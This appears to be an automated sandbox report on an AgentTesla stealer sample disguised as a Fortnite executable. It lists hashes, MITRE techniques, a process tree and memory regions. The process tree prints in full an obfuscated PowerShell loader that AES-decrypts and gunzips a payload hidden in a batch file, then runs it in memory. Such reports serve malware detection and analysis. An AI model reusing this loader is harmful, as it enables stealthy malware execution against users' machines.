agenttesla | 5f9298f554a3b512e47c0348a55b7b9aa698e7bb467b082f28f8fac9ecaf193a

General

Target

DX9_Fortnite.vmp.exe
Size

21.9MB
MD5

cf28ae1e33e5bbe9cf060258896508b9
SHA1

cd309a4b4a7bdb72ea6e845be9ae067dfb37be1a
SHA256

5f9298f554a3b512e47c0348a55b7b9aa698e7bb467b082f28f8fac9ecaf193a
SHA512

59b53f7c4624682f6166e2f62820d5910a4f3175f5254e2210a9a70ce3f3203c232479e49eb42bdd7e4c8c21a8aec4f82369a439bbf0c02fce539f80f017a8aa
SSDEEP

393216:c4wAQLZRTjrvjOCYjeofCPLoEmI7mzO/tTKEAXVLenVTq9aWgp78P:c49QZ8CY7fCUEmIqzwAFanVTq9aVp78P

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

AgentTesla payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2876-14-0x0000000021830000-0x0000000021A44000-memory.dmp	family_agenttesla

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

DX9_Fortnite.vmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	DX9_Fortnite.vmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	DX9_Fortnite.vmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	DX9_Fortnite.vmp.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2604 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

DX9_Fortnite.vmp.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2876 DX9_Fortnite.vmp.exe
Token: SeDebugPrivilege 2604 powershell.exe

pid	process
2604	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2876	DX9_Fortnite.vmp.exe
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

DX9_Fortnite.vmp.execmd.exe

description	pid	process	target process
PID 2876 wrote to memory of 2840	2876	DX9_Fortnite.vmp.exe	cmd.exe
PID 2876 wrote to memory of 2840	2876	DX9_Fortnite.vmp.exe	cmd.exe
PID 2876 wrote to memory of 2840	2876	DX9_Fortnite.vmp.exe	cmd.exe
PID 2840 wrote to memory of 2728	2840	cmd.exe	cmd.exe
PID 2840 wrote to memory of 2728	2840	cmd.exe	cmd.exe
PID 2840 wrote to memory of 2728	2840	cmd.exe	cmd.exe
PID 2840 wrote to memory of 2604	2840	cmd.exe	powershell.exe
PID 2840 wrote to memory of 2604	2840	cmd.exe	powershell.exe
PID 2840 wrote to memory of 2604	2840	cmd.exe	powershell.exe
PID 2876 wrote to memory of 2760	2876	DX9_Fortnite.vmp.exe	WerFault.exe
PID 2876 wrote to memory of 2760	2876	DX9_Fortnite.vmp.exe	WerFault.exe
PID 2876 wrote to memory of 2760	2876	DX9_Fortnite.vmp.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe
"C:\Users\Admin\AppData\Local\Temp\DX9_Fortnite.vmp.exe"
1⤵
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2876

C:\Windows\system32\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\Uni.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2604

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function rOpwK($bDUZR){ $ZSbAX=[System.Security.Cryptography.Aes]::Create(); $ZSbAX.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZSbAX.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZSbAX.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('43RCrbvighVSmqRqLTRrGlwspP4E4ZTUpAUSnpzL+ho='); $ZSbAX.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XuQxWUp8cJ6TMP93x2hz7Q=='); $PTkwr=$ZSbAX.CreateDecryptor(); $return_var=$PTkwr.TransformFinalBlock($bDUZR, 0, $bDUZR.Length); $PTkwr.Dispose(); $ZSbAX.Dispose(); $return_var;}function doXyU($bDUZR){ $wnDke=New-Object System.IO.MemoryStream(,$bDUZR); $Fjgch=New-Object System.IO.MemoryStream; Invoke-Expression '$jWEeb #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$wnDke,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $jWEeb.CopyTo($Fjgch); $jWEeb.Dispose(); $wnDke.Dispose(); $Fjgch.Dispose(); $Fjgch.ToArray();}function okOoc($bDUZR,$WMjsd){ $DvAdI = @( '$dBIwi = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$bDUZR);', '$pfdJC = $dBIwi.EntryPoint;', '$pfdJC.Invoke($null, $WMjsd);' ); foreach ($kyIDC in $DvAdI) { Invoke-Expression $kyIDC };}$UEuXH=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($HAUSH in $UEuXH) { if ($HAUSH.StartsWith('SEROXEN')) { $PXFKz=$HAUSH.Substring(7); break; }}$cogkk=doXyU (rOpwK ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($PXFKz)));okOoc $cogkk (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Uni.bat')); "
3⤵
PID:2728

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2876 -s 1336
2⤵
PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat

Filesize
12.0MB

MD5
863f69ca35a3d6ec9bc767ea3069ae94

SHA1
ba25bfe92c634441d9f73f2d11b7144a49b97e6b

SHA256
b01f076893b445120cdff5a60baae318077dd7d995d007d7beba3a6a1982b231

SHA512
f2883de03074cc00c56480cc01832536082cc5b1c60499f0a132ac9d38eea587c529ae591258837e919626e00171ebc40188acf8af760433ddf92470f111c6f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Uni.bat

Filesize
12.0MB

MD5
863f69ca35a3d6ec9bc767ea3069ae94

SHA1
ba25bfe92c634441d9f73f2d11b7144a49b97e6b

SHA256
b01f076893b445120cdff5a60baae318077dd7d995d007d7beba3a6a1982b231

SHA512
f2883de03074cc00c56480cc01832536082cc5b1c60499f0a132ac9d38eea587c529ae591258837e919626e00171ebc40188acf8af760433ddf92470f111c6f5

Download Submit
memory/2604-22-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2604-24-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2604-32-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2604-31-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2604-30-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2604-29-0x000007FEEE130000-0x000007FEEEACD000-memory.dmp

Filesize
9.6MB

Download
memory/2604-19-0x000000001B4F0000-0x000000001B7D2000-memory.dmp

Filesize
2.9MB

Download
memory/2604-20-0x000007FEEE130000-0x000007FEEEACD000-memory.dmp

Filesize
9.6MB

Download
memory/2604-26-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2604-21-0x0000000002970000-0x0000000002978000-memory.dmp

Filesize
32KB

Download
memory/2604-23-0x000007FEEE130000-0x000007FEEEACD000-memory.dmp

Filesize
9.6MB

Download
memory/2604-25-0x0000000002CC0000-0x0000000002D40000-memory.dmp

Filesize
512KB

Download
memory/2876-3-0x000000001F750000-0x000000001F7D0000-memory.dmp

Filesize
512KB

Download
memory/2876-0-0x000007FEF63A0000-0x000007FEF6D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2876-27-0x000007FEF63A0000-0x000007FEF6D8C000-memory.dmp

Filesize
9.9MB

Download
memory/2876-28-0x000000001F750000-0x000000001F7D0000-memory.dmp

Filesize
512KB

Download
memory/2876-14-0x0000000021830000-0x0000000021A44000-memory.dmp

Filesize
2.1MB

Download
memory/2876-1-0x00000000013C0000-0x000000000436E000-memory.dmp

Filesize
47.7MB

Download
memory/2876-2-0x0000000000640000-0x0000000000641000-memory.dmp

Filesize
4KB

Download
memory/2876-4-0x000000001F7D0000-0x000000002049A000-memory.dmp

Filesize
12.8MB

Download
memory/2876-33-0x000007FEF63A0000-0x000007FEF6D8C000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads